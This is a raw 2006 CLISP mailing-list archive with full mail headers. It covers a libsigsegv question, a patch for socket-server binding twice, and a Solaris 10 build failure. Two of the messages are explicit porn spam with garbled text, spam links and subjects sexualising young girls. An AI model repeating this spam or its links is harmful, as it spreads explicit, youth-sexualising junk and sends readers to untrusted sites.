<20060628074754.D666D8193@planetmath.cc.vt.edu> (message from Joe Corneli on Wed, 28 Jun 2006 03:47:54 -0400 (EDT)) References: <20060628074754.D666D8193@planetmath.cc.vt.edu> Message-Id: <20060702215835.E6D6D818F@planetmath.cc.vt.edu> Date: Sun, 2 Jul 2006 17:58:35 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] libsigsegv not detected X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 02 Jul 2006 21:58:39 -0000 If I recall correctly, the problem is that if you have gcc4, you should use libsigsegv 2.3 or newer - there was a test in older versions that gcc4 optimizes away. Is it your case? I tried replacing libsigsegv2.2 with libsigsegv2.3 to no avail. (And I'm using Apple's version of GCC 3.3, by the way.) From pjb@informatimago.com Mon Jul 03 00:56:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FxJIP-0000WZ-70 for clisp-list@lists.sourceforge.net; Mon, 03 Jul 2006 00:56:41 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FxJIM-00059v-6V for clisp-list@lists.sourceforge.net; Mon, 03 Jul 2006 00:56:41 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B0EC1586B2; Mon, 3 Jul 2006 09:56:29 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3BD29585EB; Mon, 3 Jul 2006 09:56:26 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E3D678F98; Mon, 3 Jul 2006 09:56:25 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060703075625.E3D678F98@thalassa.informatimago.com> Date: Mon, 3 Jul 2006 09:56:25 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] socket-server binds twice, with patch X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jul 2006 07:56:41 -0000 In 2.38, we cannot use socket-server on any interface other than 127.0.0.1 (search "bind" in the following straces). % clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "192.168.2.1")' # % clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "0.0.0.0")' *** - UNIX error 98 (EADDRINUSE): Address already in use % clisp --version GNU CLISP 2.38 (2006-01-24) (built 3350714484) (memory 3350714690) Software: GNU C 3.4.5 (Gentoo 3.4.5, ssp-3.4.5-1.0, pie-8.7.9) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libreadline 5.0 Features: (WILDCARD RAWSOCK PCRE CLX-ANSI-COMMON-LISP CLX ZLIB READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline zlib linux clx pcre rawsock wildcard) Installation directory: /usr/local/languages/clisp-2.38/lib/clisp/ User language: ENGLISH Machine: I686 (I686) kuiper % strace -o clisp.strace clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "0.0.0.0")' *** - UNIX error 98 (EADDRINUSE): Address already in use % cat clisp.strace execve("/usr/local/bin/clisp", ["clisp", "-q", "-norc", "-ansi", "-x", "(socket:socket-server 19000 :int"...], [/* 126 vars */]) = 0 [...] mprotect(0x2034a000, 4096, PROT_READ|PROT_WRITE) = 0 sigreturn() = ? (mask now []) --- SIGSEGV (Segmentation fault) @ 0 (0) --- mprotect(0x20269000, 4096, PROT_READ|PROT_WRITE) = 0 sigreturn() = ? (mask now []) socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5 setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(5, 1) = 0 getsockname(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6 setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EADDRINUSE (Address already in use) close(6) = 0 setitimer(ITIMER_REAL, {it_interval={0, 0}, it_value={0, 0}}, {it_interval={0, 0}, it_value={0, 0}}) = 0 mmap2(0x203aa000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x203aa000 --- SIGSEGV (Segmentation fault) @ 0 (0) --- [...] exit_group(1) = ? % strace -o clisp.strace clisp -q -norc -ansi -x '(socket:socket-server 19000 :interface "192.168.2.1")' # % cat clisp.strace execve("/usr/local/bin/clisp", ["clisp", "-q", "-norc", "-ansi", "-x", "(socket:socket-server 19000 :int"...], [/* 126 vars */]) = 0 [...] mprotect(0x2034a000, 4096, PROT_READ|PROT_WRITE) = 0 sigreturn() = ? (mask now []) --- SIGSEGV (Segmentation fault) @ 0 (0) --- mprotect(0x20269000, 4096, PROT_READ|PROT_WRITE) = 0 sigreturn() = ? (mask now []) socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 5 setsockopt(5, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("192.168.2.1")}, 16) = 0 listen(5, 1) = 0 getsockname(5, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("192.168.2.1")}, [16]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6 setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 bind(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 listen(6, 1) = 0 getsockname(6, {sa_family=AF_INET, sin_port=htons(19000), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0 mmap2(0x203aa000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x203aa000 write(1, "#", 32) = 32 write(1, "\n", 1) = 1 close(4) = 0 exit_group(0) = ? % The following patch seems to correct the problem. diff -Naurtwb --exclude '*~' clisp-2.38-original/src/stream.d clisp-2.38-pjb/src/stream.d --- clisp-2.38-original/src/stream.d 2006-01-12 22:52:14.000000000 +0100 +++ clisp-2.38-pjb/src/stream.d 2006-07-03 09:29:18.000000000 +0200 @@ -13860,7 +13860,7 @@ port = I_to_uint16(check_uint16(STACK_2)); } { - var SOCKET sk; + var SOCKET sk=INVALID_SOCKET; var host_data_t myname; if (!missingp(STACK_0)) { if (builtin_stream_p(STACK_0)) @@ -13873,12 +13873,14 @@ end_system_call(); }); } + if(sk==INVALID_SOCKET) { begin_system_call(); if (sock != INVALID_SOCKET) sk = create_server_socket_by_socket(&myname, sock, port, backlog); else sk = create_server_socket_by_string(&myname,"127.0.0.1",port,backlog); end_system_call(); + } if (sk == INVALID_SOCKET) { SOCK_error(); } pushSTACK(allocate_socket(sk)); pushSTACK(allocate_socket_server()); [pjb@kuiper clisp]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ PLEASE NOTE: Some quantum physics theories suggest that when the consumer is not directly observing this product, it may cease to exist or will exist only in a vague and undetermined state. From sds@podval.org Mon Jul 03 05:56:06 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FxNy9-0002vj-Pj for clisp-list@lists.sourceforge.net; Mon, 03 Jul 2006 05:56:06 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FxNy6-00063v-7J for clisp-list@lists.sourceforge.net; Mon, 03 Jul 2006 05:56:05 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3DA21C400A0; Mon, 03 Jul 2006 08:55:54 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 331F636821C; Mon, 3 Jul 2006 08:55:54 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k63CtrHt000531; Mon, 3 Jul 2006 08:55:54 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k63CtinQ000524; Mon, 3 Jul 2006 08:55:44 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060703075625.E3D678F98@thalassa.informatimago.com> (Pascal Bourguignon's message of "Mon, 3 Jul 2006 09:56:25 +0200 (CEST)") References: <20060703075625.E3D678F98@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Date: Mon, 03 Jul 2006 08:55:44 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] socket-server binds twice, with patch X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 03 Jul 2006 12:56:06 -0000 > * Pascal Bourguignon [2006-07-03 09:56:25 +0200]: > > In 2.38, we cannot use socket-server on any interface other than 127.0.0.1 > (search "bind" in the following straces). this has been fixed in the CVS for months. please try cvs head. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://memri.org http://honestreporting.com http://iris.org.il http://ffii.org http://thereligionofpeace.com http://mideasttruth.com If a cat tells you that you lost your mind, then it is so. From duncanmadv@dwhyte.fslife.co.uk Tue Jul 04 05:46:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FxkI0-0007Bm-4W for clisp-list@lists.sourceforge.net; Tue, 04 Jul 2006 05:46:04 -0700 Received: from [194.78.74.54] (helo=194.78.74.54) by mail.sourceforge.net with smtp (Exim 4.44) id 1FxkHy-0002VB-0c for clisp-list@lists.sourceforge.net; Tue, 04 Jul 2006 05:46:04 -0700 Date: Tue, 4 Jul 2006 07:55:07 -0500 From: Kathy Dye Message-ID: <716142335005.473149969773@dwhyte.fslife.co.uk> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] YOUNwGEST asian girls glad X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Kathy Dye List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Jul 2006 12:46:04 -0000 Singlex moms and Married... Sugar mommieas :-) http://grabbable.feqwn1.com/?willdrive done one link done out out welcome, world online get, used unique loose model big? >> access for mode glad forever: sell done ever welcome always most ever stop; some look, simply hot task. inside art offer made, stop eyes? bye Kathy Dye From infohfxk@venicepalacecasino.com Tue Jul 04 06:43:14 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FxlBJ-0003z4-Tr for clisp-list@lists.sourceforge.net; Tue, 04 Jul 2006 06:43:14 -0700 Received: from cable9-3.sweetwaterhsa.com ([67.134.53.3]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FxlBI-0005M4-8C for clisp-list@lists.sourceforge.net; Tue, 04 Jul 2006 06:43:13 -0700 Received: from in1.magma.ca by cable9-3.sweetwaterhsa.com (8.12.11/8.12.11) with ESMTP id sbq03bujtUciE2 for ; Tue, 4 Jul 2006 08:43:21 -0500 Received: from gnnxy (174.253.127.123) by in1.magma.ca (8.12.3 da nor stuldap/8.12.3) with SMTP id XzHLpaVApJca for ; Tue, 4 Jul 2006 08:43:21 -0500 From: "Lena Burnett" Message-ID: <8906029848.1885436895@venicepalacecasino.com> Date: Tue, 4 Jul 2006 08:43:21 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP) 0.6 HOT_NASTY BODY: Possible porn - Hot, Nasty, Wild, Young Subject: [clisp-list] Ccollege sckhoolgirl in uniform can X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Lena Burnett List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 04 Jul 2006 13:43:14 -0000 Hot XXX Fuckaing!!! Thepse girls lodve a nice striff cojck!! :) http://jazzer.dnfqa.com/?realsite type world legal access many dream, mail high have, mode want own have their? want try many order know add link ; italian simply, send best self. wanna hard italian high, word ? bye Lena Burnett From lisp-clisp-list@m.gmane.org Wed Jul 05 11:20:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FyBzD-000804-RD for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 11:20:31 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FyBz9-0000dE-T1 for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 11:20:31 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FyByk-0002IY-Ri for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 20:20:03 +0200 Received: from x236-190.lib.umn.edu ([160.94.236.190]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 05 Jul 2006 20:20:02 +0200 Received: from debertin by x236-190.lib.umn.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 05 Jul 2006 20:20:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dan Debertin Date: Wed, 5 Jul 2006 18:13:57 +0000 (UTC) Lines: 67 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 160.94.236.190 (Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1) Sender: news X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Build failure on Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Jul 2006 18:20:32 -0000 Hi, I'm having some trouble getting CLISP 2.38 going on Solaris 10 (sparc, if it matters). I does compile and run on previous versions of Solaris, but even if I build on S8 and try to run it on S10, I get the same behaviour: /opt/csw/gcc3/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o readline.o -lreadline -lncurses regexi.o regex.o calls.o -lm -lnsl -lsocket gettext.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lnsl -lsocket -liconv -L/usr/local/lib -lsigsegv -lc -R/usr/local/lib -o lisp.run boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem") Bus Error - core dumped And, indeed, even running lisp.run manually causes the same bus error. If it helps, here's the end of a "truss" of lisp.run: mmap64(0x19BC0000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC0000 mmap64(0x666EE000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x666EE000 mmap64(0x19BC2000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC2000 mmap64(0x19BC4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC4000 mmap64(0x19BC6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC6000 mmap64(0x19BC8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC8000 mmap64(0x19BCA000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BCA000 mmap64(0x19BCC000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BCC000 mmap64(0x19BCE000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BCE000 mmap64(0x666EC000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x666EC000 mmap64(0x19BD0000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BD0000 mmap64(0x19BD2000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BD2000 mmap64(0x19BD4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BD4000 mmap64(0x19BD6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BD6000 mmap64(0x19BD8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BD8000 mmap64(0x19BDA000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BDA000 Incurred fault #5, FLTACCESS %pc = 0xFEF96004 siginfo: SIGBUS BUS_ADRALN addr=0x19BDA699 Received signal #10, SIGBUS [default] siginfo: SIGBUS BUS_ADRALN addr=0x19BDA699 FYI, I did try to recompile with -g and generate a backtrace, but that build fails in a different, unrelated manner. Thoughts? TIA, Dan Debertin debertin@gmail.com From sds@podval.org Wed Jul 05 11:59:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FyCaT-0003Bg-JP for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 11:59:01 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FyCaM-0004dr-UF for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 11:58:58 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ABE62C12009E; Wed, 05 Jul 2006 14:58:46 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 548CE36821F; Wed, 5 Jul 2006 14:58:45 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k65IwjfP007948; Wed, 5 Jul 2006 14:58:45 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k65Iwgex007947; Wed, 5 Jul 2006 14:58:42 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Dan Debertin Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Dan Debertin's message of "Wed, 5 Jul 2006 18:13:57 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Dan Debertin Date: Wed, 05 Jul 2006 14:58:42 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Build failure on Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Jul 2006 18:59:01 -0000 Hi, I only have access to SF CF SunOS sparc-solaris1 5.9 Generic_112233-03 sun4u sparc SUNW,Ultra-60 and there CLISP builds OOTB. > * Dan Debertin [2006-07-05 18:13:57 +0000]: > > I'm having some trouble getting CLISP 2.38 going on Solaris 10 (sparc, > if it matters). I does compile and run on previous versions of > Solaris, but even if I build on S8 and try to run it on S10, I get the > same behaviour: > > /opt/csw/gcc3/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fno-schedule-insns > -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o > readline.o -lreadline -lncurses regexi.o regex.o calls.o -lm -lnsl -lsocket > gettext.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline > -lncurses -ldl -lnsl -lsocket -liconv -L/usr/local/lib -lsigsegv -lc > -R/usr/local/lib -o lisp.run > boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i > syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispinit.mem") > Bus Error - core dumped > > And, indeed, even running lisp.run manually causes the same bus error. If it > helps, here's the end of a "truss" of lisp.run: > > mmap64(0x19BC0000, 8192, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_FIXED|MAP_ANON, -1, 0) = 0x19BC0000 please see unix/PLATFORMS on how to disable memory mapping. it would be helpful if you could figure out what has changed in the mmap in S10 that breaks CLISP. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://iris.org.il http://truepeace.org http://ffii.org http://mideasttruth.com http://palestinefacts.org http://jihadwatch.org http://honestreporting.com Of course, I haven't tried it. But it will work. - Isaak Asimov From lisp-clisp-list@m.gmane.org Wed Jul 05 14:02:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FyEVs-0007CQ-VQ for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 14:02:25 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FyEVq-0000wk-Fk for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 14:02:24 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FyEVX-00030U-8A for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 23:02:03 +0200 Received: from x236-190.lib.umn.edu ([160.94.236.190]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 05 Jul 2006 23:02:03 +0200 Received: from debertin by x236-190.lib.umn.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 05 Jul 2006 23:02:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Dan Debertin Date: Wed, 5 Jul 2006 21:01:53 +0000 (UTC) Lines: 16 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 160.94.236.190 (Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.0.1) Gecko/20060206 Firefox/1.5.0.1) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Build failure on Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 05 Jul 2006 21:02:25 -0000 Hello, and thanks for the reply! Sam Steingold podval.org> writes: > > please see unix/PLATFORMS on how to disable memory mapping. > it would be helpful if you could figure out what has changed in the mmap > in S10 that breaks CLISP. I tried all three flags that were suggested -- NO_MULTIMAP_FILE, NO_SINGLEMAP and NO_TRIVIALMAP -- with no success. However, when I add -DSAFETY=n where n >= 2 and remove the three flags just mentioned, it works! Truss reports that lisp.run is still using mmap (lots of calls to mmap64), but whatever it is that SAFETY does seems to have worked. -Dan From sds@podval.org Wed Jul 05 14:28:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FyEum-00013R-OB for clisp-list@lists.sourceforge.net; Wed, 05 Jul 2006 14:28:08 -0700 